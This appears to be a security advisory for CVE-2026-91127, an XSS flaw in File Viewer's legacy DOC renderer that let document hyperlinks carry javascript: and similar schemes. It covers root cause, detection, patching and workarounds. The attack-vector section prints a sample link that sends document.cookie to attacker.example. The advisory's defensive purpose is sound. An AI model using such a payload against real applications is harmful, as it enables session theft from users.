CVE-2026-91127: File Viewer DOC Renderer XSS Vulnerability

CVE-2026-91127 Overview

CVE-2026-91127 is a cross-site scripting [CWE-79] vulnerability in File Viewer, a browser-native viewer for Office, PDF, CAD, and archive files used in private and internal web applications. The legacy DOC renderer emitted document-controlled hyperlink targets into generated HTML after character escaping but without restricting URL schemes. A crafted legacy DOC file can embed javascript:, vbscript:, data:, or other unsafe schemes in rendered links. When a user clicks the link, script executes in the embedding application's origin. The issue is fixed in @file-viewer/doc 2.3.1 and msdoc-viewer 0.2.2.

Critical Impact
Attackers can achieve arbitrary script execution in the host application's origin, enabling session theft, data exfiltration, and unauthorized actions on behalf of the victim user.

Affected Products

@file-viewer/doc prior to 2.3.1
msdoc-viewer prior to 0.2.2
Applications embedding the legacy DOC renderer from Flyfish File Viewer

Discovery Timeline

2026-09-18 - CVE-2026-91127 published to NVD
2026-09-24 - Last updated in NVD database

Technical Details for CVE-2026-91127

Vulnerability Analysis

The vulnerability resides in the legacy DOC rendering path of File Viewer. When the renderer processed hyperlink targets embedded in a legacy .doc document, it applied HTML character escaping but did not validate the URL scheme. Escaping alone prevents attribute-breaking injection, but it does not neutralize dangerous URI schemes placed into an href attribute.

An attacker crafts a legacy DOC file containing a hyperlink whose target uses javascript:, vbscript:, data:, or another script-capable scheme. The renderer emits the target verbatim into the generated anchor element. User interaction is required: the victim must click the link inside the viewer for the payload to execute. Execution occurs in the origin of the embedding application, giving the attacker access to session cookies, DOM contents, and application APIs.

Root Cause

The root cause is missing URL scheme allow-listing in the DOC-to-HTML link generation logic. The renderer trusted document-controlled data for the href attribute and relied solely on textual escaping. This is a classic stored/reflected XSS pattern where output encoding is applied to the wrong context.

Attack Vector

Exploitation requires an attacker to deliver a malicious legacy DOC file to a target that renders it through File Viewer, and to convince a user to click the embedded hyperlink. The attack traverses the network and executes within the trust boundary of the hosting internal or private web application.

text

// Conceptual payload embedded as a hyperlink target in a legacy DOC file
<a href="javascript:fetch('https://attacker.example/x?c='+document.cookie)">Quarterly Report</a>

// The legacy renderer HTML-escaped surrounding text but did not
// reject the javascript: scheme, so the anchor executes on click.

Detection Methods for CVE-2026-91127

Indicators of Compromise

Legacy .doc files containing hyperlink fields with javascript:, vbscript:, or data: URI schemes.
Anchor elements in rendered viewer output whose href values begin with non-HTTP(S) schemes.
Outbound requests from user browsers to unexpected domains immediately after opening a document in the viewer.

Detection Strategies

Statically scan uploaded or repository-stored legacy DOC files for hyperlink records referencing dangerous URI schemes.
Instrument the browser Content Security Policy to report inline script and unsafe navigation events triggered from viewer contexts.
Review web application logs for anchor clicks originating from viewer pages that resolve to non-standard schemes.

Monitoring Recommendations

Monitor package manifests for pinned versions of @file-viewer/doc below 2.3.1 and msdoc-viewer below 0.2.2.
Alert on CSP violation reports from pages hosting document previews.
Track user-reported anomalies such as unexpected redirects or credential prompts after viewing a document.

How to Mitigate CVE-2026-91127

Immediate Actions Required

Upgrade @file-viewer/doc to 2.3.1 or later, and msdoc-viewer to 0.2.2 or later.
Audit build pipelines and lockfiles to confirm vulnerable versions are not transitively pulled in.
Restrict who can upload legacy DOC content to internal viewers until the patch is deployed.

Patch Information

The fix blocks external document links by default. When external links are explicitly enabled, only HTTP(S), mailto:, tel:, safe relative URLs, and internal bookmarks are permitted. The patch also applies mount-boundary sanitization as defense in depth. See the GitHub Security Advisory GHSA-3753-m2x2-q623, the remediation commit ef04568, and the File Viewer v2.3.1 release notes.

Workarounds

Disable the legacy DOC renderer path in embedding applications until the patched version is deployed.
Enforce a strict Content Security Policy that forbids javascript: and data: navigation and blocks inline script execution.
Pre-process incoming legacy DOC files server-side to strip hyperlink fields whose targets do not use HTTP(S), mailto:, or tel: schemes.

bash

# Upgrade the affected packages to the fixed versions
npm install @file-viewer/doc@^2.3.1 msdoc-viewer@^0.2.2

# Verify no vulnerable versions remain in the dependency tree
npm ls @file-viewer/doc msdoc-viewer